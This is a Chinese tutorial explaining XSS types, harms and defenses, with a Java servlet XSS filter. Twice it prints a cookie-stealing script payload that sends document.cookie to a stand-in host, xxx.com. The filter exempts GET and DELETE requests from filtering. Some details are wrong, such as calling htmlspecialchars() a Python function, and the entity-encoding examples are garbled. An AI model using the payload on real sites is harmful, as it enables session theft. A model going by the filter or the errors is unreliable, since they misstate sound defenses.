一、Xss究竟是什么?
(一)Xss的定义简述
Xss全称是跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将其缩写为Xss。它是一种常见的网络安全漏洞,指的是攻击者利用网站对用户输入内容校验不严格等漏洞,将恶意脚本(通常是JavaScript,也可以是Java、VBScript、ActiveX、Flash等)注入到目标网站中。
当用户访问该存在漏洞的网站页面时,嵌入其中的恶意脚本代码就会在用户的浏览器环境里被执行,进而达到攻击者恶意攻击用户的目的,比如盗取用户的各类账号(像机器登陆账号、用户网银账号、各类管理员账号等)、控制企业数据(包括读取、篡改、添加、删除企业敏感数据)、盗取企业重要的具有商业价值的资料、非法转账、强制发送电子邮件、网站挂马,甚至控制受害者机器向其他网站发起攻击等。
Xss攻击主要分为以下几种类型:
- 存储型Xss(Stored XSS):也被称为持久型跨站脚本攻击,是危害较为严重的一种类型。攻击者将恶意脚本存储到目标服务器上,比如数据库、文件系统或应用缓存中。像在一些允许用户发表内容的平台,如论坛、博客、留言板等,如果存在漏洞且未严格校验用户输入内容,攻击者就可利用发帖、评论、修改个人信息等功能提交恶意脚本代码到Web服务器进行保存。之后,只要其他用户访问包含这些恶意脚本的页面时,脚本就会被执行,危及所有访问该页面的用户。例如,攻击者在一个博客评论系统中提交以下评论:<script>document.location='http://xxx.com/upload?cookie='+document.cookie;</script>,当其他用户查看这条评论时,他们的cookie信息就可能会被发送到攻击者的服务器上。
- 反射型Xss(Reflected XSS):属于非持久化的攻击类型,通常需要欺骗用户自己去点击链接才能触发Xss代码(服务器中不会存储这样的页面和内容)。攻击者通过URL参数或其他输入字段将恶意脚本注入到目标网站中,受害者点击包含恶意脚本的链接后,脚本会被立即执行。比如常见于搜索页面,攻击者往往在合法的URL末尾添加恶意代码构造链接,像https://example.com/index.php?user=<script>恶意代码</script>,用户点击此链接后,因为浏览器信任该网站,就会执行恶意脚本代码,进而攻击者可盗取用户的Cookie信息等。
- DOM型Xss(DOM-based XSS):这是一种基于文档对象模型(Document Object Model ,DOM)的漏洞而产生的攻击形式。它不经过后端,是客户端脚本处理逻辑导致的安全问题,攻击者利用客户端脚本(如JavaScript)在受害者的浏览器中直接操作DOM,从而注入恶意脚本。整个攻击过程均在用户侧浏览器执行,无需Web服务器端进行解析和响应访问请求,所以相对来说较难排查,一些常规的WAF设备可能无法获取通信流量以发现此类攻击。例如网页中有这样的JavaScript代码:var name = document.location.hash.substr(1);document.write("欢迎, "+ name);,当用户访问特定构造的URL时,恶意脚本就可能会被执行。
二、Xss的常见类型有哪些?
(一)反射型Xss(非持久型)
反射型Xss也被称作非持久型跨站脚本攻击。其原理是恶意脚本作为网络请求的一部分出现在URL当中,随后服务器会将这部分包含恶意脚本的内容“反射”回浏览器,进而在浏览器中被执行。这种类型的Xss常见于一些诱导性链接等场景,例如攻击者会精心构造一个包含恶意代码的URL,然后诱骗用户去点击这个链接。
比如,攻击者在合法的URL末尾添加恶意代码来构造链接,像https://example.com/index.php?user=<script>恶意代码</script>,当用户点击此链接后,因为浏览器信任该网站,就会执行其中的恶意脚本代码。而一旦恶意脚本执行成功,攻击者就能够窃取用户的Cookie等重要信息,不过它通常是一次性的攻击,需要每次都诱导用户点击特定链接才能触发。
(二)存储型Xss(持久型)
存储型Xss属于持久型跨站脚本攻击,它的运作方式与反射型有所不同。恶意脚本会被存储在服务器端,例如存储在数据库、文件系统或者应用缓存等地方。
比如在一些支持用户发表内容的平台,像论坛、评论区等,如果存在安全漏洞且没有对用户输入的内容进行严格校验,攻击者就可以通过发帖、评论、修改个人信息等功能,将恶意脚本代码提交到Web服务器进行保存。后续其他用户访问包含这些恶意脚本的页面时,脚本便会自动执行,进而危及所有访问该页面的用户。例如攻击者在一个博客评论系统中提交<script>document.location='http://xxx.com/upload?cookie='+document.cookie;</script>这样的评论内容,当别的用户查看这条评论时,他们的cookie信息就很可能会被发送到攻击者的服务器上,其危害范围往往比较广泛。
(三)DOM Xss(客户端)
DOM Xss是依靠浏览器端的DOM解析来触发的,整个攻击过程无需服务器参与,是一种基于文档对象模型(Document Object Model ,DOM)的漏洞而产生的攻击形式,属于前端JavaScript自身可能存在的安全问题。
攻击者会利用客户端脚本处理逻辑存在的漏洞,通过修改DOM结构的方式来执行恶意脚本。例如网页中有这样的JavaScript代码:var name = document.location.hash.substr(1);document.write("欢迎, "+ name);,当用户访问特定构造的URL时,恶意脚本就可能会被执行。由于它主要在客户端浏览器上进行操作,所以相对来说较难排查,一些常规的WAF设备可能都无法获取通信流量以发现此类攻击。
三、Xss会带来哪些危害?
(一)信息窃取方面
Xss在信息窃取方面有着不小的危害,它能够盗取各类用户账号,像是我们日常使用的机器登录账号、涉及资金交易的网银账号以及具备管理权限的管理员账号等等,都可能成为攻击者的目标。例如在一些办公场景中,如果企业内部的管理系统存在Xss漏洞,攻击者就可能通过注入恶意脚本获取管理员账号,进而掌控整个系统的管理权限。
同时,Xss还可以窃取用户的Cookie、SessionID等隐私信息。Cookie往往记录着用户的登录状态等重要数据,一旦被窃取,攻击者就能够冒用用户的身份在相关网站进行操作,仿佛自己就是真正的用户一样。比如攻击者在一个存在反射型Xss漏洞的网站中,诱导用户点击包含恶意脚本的链接,当用户点击后,恶意脚本执行,就可以将用户的Cookie信息发送到攻击者控制的服务器上,严重威胁到用户的数据安全。
(二)操作控制方面
在操作控制层面,Xss同样具备较大破坏力。攻击者利用Xss漏洞能够对企业数据进行控制,实现诸如读取、篡改、添加、删除等操作。以一家电商企业为例,如果其网站存在存储型Xss漏洞,攻击者将恶意脚本注入并存储在服务器上,那么当企业员工访问相关页面时,恶意脚本执行,企业的商品信息、订单数据等重要商业数据就可能被随意篡改,比如修改商品价格、删除订单记录等,给企业带来巨大的经济损失。
而且,情况严重时,攻击者还可以借助Xss进行非法转账操作,比如在银行类网站存在漏洞的情况下,通过恶意脚本控制转账流程,将用户账户内的资金转到自己指定的账户中;或者强制让受害者的邮箱发送邮件,用于传播恶意信息或者进行诈骗等活动;甚至能够控制受害者的机器向其他网站发起攻击,使得受害者在不知情的情况下成为攻击者的“帮凶”,对其他网站的正常运行造成破坏。
(三)其他不良影响
除了上述危害,Xss还会引发一些其他不良影响。它可能造成网站挂马,也就是在网站中嵌入恶意程序,当用户访问该网站时,这些恶意程序就会悄悄下载到用户的设备上,进而窃取用户更多信息或者对用户设备进行进一步破坏。例如一些非法网站,通过Xss漏洞在正规网站上挂马,诱导用户中招。
另外,Xss还会强制弹出广告,干扰用户正常浏览网页的体验,或者通过刷流量的方式,虚增网站的访问量,影响网站真实的流量数据统计以及正常使用。同时,Xss还可能与其他漏洞相结合,进一步扩大攻击的危害范围,比如和CSRF(跨站请求伪造)漏洞结合,攻击者能够更轻易地实施复杂的恶意行为,提升权限,进行更深入的数据窃取或恶意操作等,给网站和用户带来更加严重的安全威胁。
四、如何有效防范Xss?
(一)输入验证与过滤
在防范Xss攻击时,输入验证与过滤起着至关重要的作用。对于用户输入的数据,我们需要进行严格的验证,涵盖长度、类型、语法以及业务规则等多个方面。比如,要通过合适的方式验证输入的内容是否符合预期的格式要求,如果是要求输入数字的字段,就不能允许用户输入字母或其他特殊字符;对于像电子邮箱地址这样有特定格式的输入内容,可利用正则表达式等手段来校验其合法性,确保输入的确实是符合规范的邮箱格式。
同时,过滤掉可能的恶意代码也是关键所在。对特殊字符、HTML标签进行过滤是常用的操作,因为攻击者往往会利用这些元素来构造恶意脚本进行注入攻击。例如,像“<”“>”“&”等在HTML中有特殊意义的字符,如果直接出现在用户输入且未经处理的内容中,就有可能被用来拼接成恶意的HTML或JavaScript代码,进而引发Xss攻击。在不同的编程语言中,都有相应的函数或方法来辅助完成这样的过滤操作,比如在Python中可以使用htmlspecialchars()函数,它能将特殊字符转义,让浏览器将其作为普通文本显示,而不是当作代码去执行,从而有效地防止注入攻击的发生。
使用过滤器来过滤链接参数
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.common.utils.StringUtils;
/**
* 防止XSS攻击的过滤器
*
*/
public class XssFilter implements Filter
{
/**
* 排除链接
*/
public List<String> excludes = new ArrayList<>();
/**
* 初始化过滤器
*
* @param filterConfig 过滤器配置信息
* @throws ServletException 如果初始化过程中发生错误
*/
@Override
public void init(FilterConfig filterConfig) throws ServletException
{
//初始化获取排除的链接,多个用逗号分割
String tempExcludes = "/system/adming/*";
if (StringUtils.isNotEmpty(tempExcludes))
{
String[] urls = tempExcludes.split(",");
for (String url : urls)
{
excludes.add(url);
}
}
}
/**
* 执行过滤操作
*
* @param request 请求对象
* @param response 响应对象
* @param chain 过滤链
* @throws IOException 如果执行过程中发生I/O错误
* @throws ServletException 如果执行过程中发生Servlet错误
*/
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (handleExcludeURL(req, resp))
{
chain.doFilter(request, response);
return;
}
XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request);
chain.doFilter(xssRequest, response);
}
/**
* 处理排除URL的逻辑
*
* @param request 请求对象
* @param response 响应对象
* @return 如果URL匹配排除规则,则返回true;否则返回false
*/
private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response)
{
String url = request.getServletPath();
String method = request.getMethod();
// GET DELETE 不过滤
if (method == null || method.matches("GET") || method.matches("DELETE"))
{
return true;
}
return StringUtils.matches(url, excludes);
}
/**
* 销毁过滤器
*/
@Override
public void destroy()
{
}
}
/**
* XSS过滤处理类
* 继承自HttpServletRequestWrapper,用于对HTTP请求参数进行XSS攻击的过滤处理
*
*/
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper
{
/**
* 构造方法
*
* @param request 原始的HttpServletRequest对象
*/
public XssHttpServletRequestWrapper(HttpServletRequest request)
{
super(request);
}
@Override
public String[] getParameterValues(String name)
{
// 获取原始的参数值数组
String[] values = super.getParameterValues(name);
if (values != null)
{
int length = values.length;
// 创建一个新的字符串数组,用于存储过滤后的参数值
String[] escapseValues = new String[length];
for (int i = 0; i < length; i++)
{
// 防xss攻击和过滤前后空格
// 对每个参数值进行XSS过滤处理,并去除前后空格
escapseValues[i] = EscapeUtil.clean(values[i]).trim();
}
// 返回过滤后的参数值数组
return escapseValues;
}
// 如果原始参数值数组为空,则调用父类方法返回原始值
return super.getParameterValues(name);
}
}
(二)输出编码处理
数据在输出前进行正确的entity编码,是防范Xss攻击的又一重要手段,其中HTML实体编码就是一种常用且有效的方式。在将用户提交的数据展示到页面上之前,要对数据里可能存在的特定字符进行转义处理。例如,把“<”转义为“<”,“>”转义为“>”,“&”转义为“&”等等。这样一来,即便是之前在输入阶段有攻击者注入了恶意脚本代码,经过这样的编码转义后,这些脚本在浏览器端也无法正常运行,而是会以普通文本的形式呈现出来,避免了恶意代码被执行而带来的各种安全风险。
像在一些Web应用中,如果用户提交的评论内容里包含了一些特殊字符或者看起来像HTML标签的内容,在输出展示这些评论时,通过输出编码处理,就能保障页面的安全性,不会因为这些内容里可能隐藏的恶意脚本而遭受Xss攻击。并且,很多现代的Web开发框架,也会内置这样的输出编码机制,开发者只需要按照框架的要求正确配置和使用,就能在一定程度上轻松应对这方面的安全隐患。
(三)利用内容安全策略(CSP)
内容安全策略(CSP)是防范Xss攻击的有力“武器”,它的核心思想是通过建立白名单,来限制浏览器加载和执行的资源,明确规定浏览器能加载哪些外部资源。例如,网站管理员可以通过配置CSP,指定只有来自本网站域名下的脚本文件才能被加载执行,对于来自其他未知域名的脚本则直接禁止加载,这样就能极大地减少Xss攻击中恶意脚本注入并执行的可能性。
CSP可以通过两种常见的方式进行设置,一种是在HTTP响应头中添加Content-Security-Policy头部来指定策略,另一种是在HTML页面中使用<meta>标签来定义相关策略(不过当两者同时存在时,HTTP头中的设置会优先被采用)。而且它还具备上报机制,当有违反CSP策略的行为发生时,比如有试图加载不在白名单内的外部脚本等情况,浏览器会将相关信息上报,帮助网站运营者及时发现攻击情况,以便尽快采取措施修复潜在的安全漏洞,进一步增强网站对Xss攻击的抵御能力。
(四)设置Cookie的HttpOnly属性
Cookie常常会包含一些敏感的用户信息,比如用户的登录状态标识等,而这也成为了攻击者在实施Xss攻击时觊觎的目标,他们企图通过窃取Cookie来冒用用户身份进行恶意操作。不过,设置Cookie的HttpOnly属性后,就能有效地防范这类情况的发生。
当Cookie被设置了HttpOnly属性后,JavaScript将无法读取Cookie的值,这意味着即使攻击者成功在网站中注入了恶意脚本,这些脚本也没办法获取到Cookie信息,从而阻断了攻击者利用窃取的Cookie来实施Xss攻击的途径,很好地保护了用户登录等相关的信息安全。在服务器端生成Cookie时,只需要按照相应的规范和方法添加HttpOnly标识即可,例如在Java中可以通过response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")这样的语句来设置,不同的编程语言和服务器环境都有对应的设置方式来实现该属性的添加。
(五)其他防范手段
除了上述几种主要的防范手段外,还有一些其他的辅助措施可以帮助全方位抵御Xss攻击。
很多开发框架和安全库都内置了Xss防护机制,像Vue、React等前端框架,在处理用户输入的数据时,会自动进行过滤和编码等相关安全处理,开发者使用这些框架开发应用时,就可以借助它们的这些特性来增强对Xss攻击的防御能力;还有OWASP Java HTML Sanitizer这样的净化库,能对有潜在危险的HTML标签与属性进行精准的移除或处理,适用于Java环境下对用户输入内容的安全处理。
定期进行安全审计与渗透测试也必不可少,通过专业的安全审计工具和人工的渗透测试,可以及时发现网站系统中存在的潜在安全漏洞,包括那些可能引发Xss攻击的薄弱环节,以便在攻击者发现并利用之前及时修复和加固。
另外,提高用户的安全意识同样重要,要提醒用户避免点击来源不明的链接,因为很多反射型Xss攻击就是通过诱骗用户点击恶意构造的链接来触发的,用户自身有了防范意识,不随意点击可疑链接,也能在一定程度上减少遭遇Xss攻击的风险,从多个层面共同保障网络应用的安全性。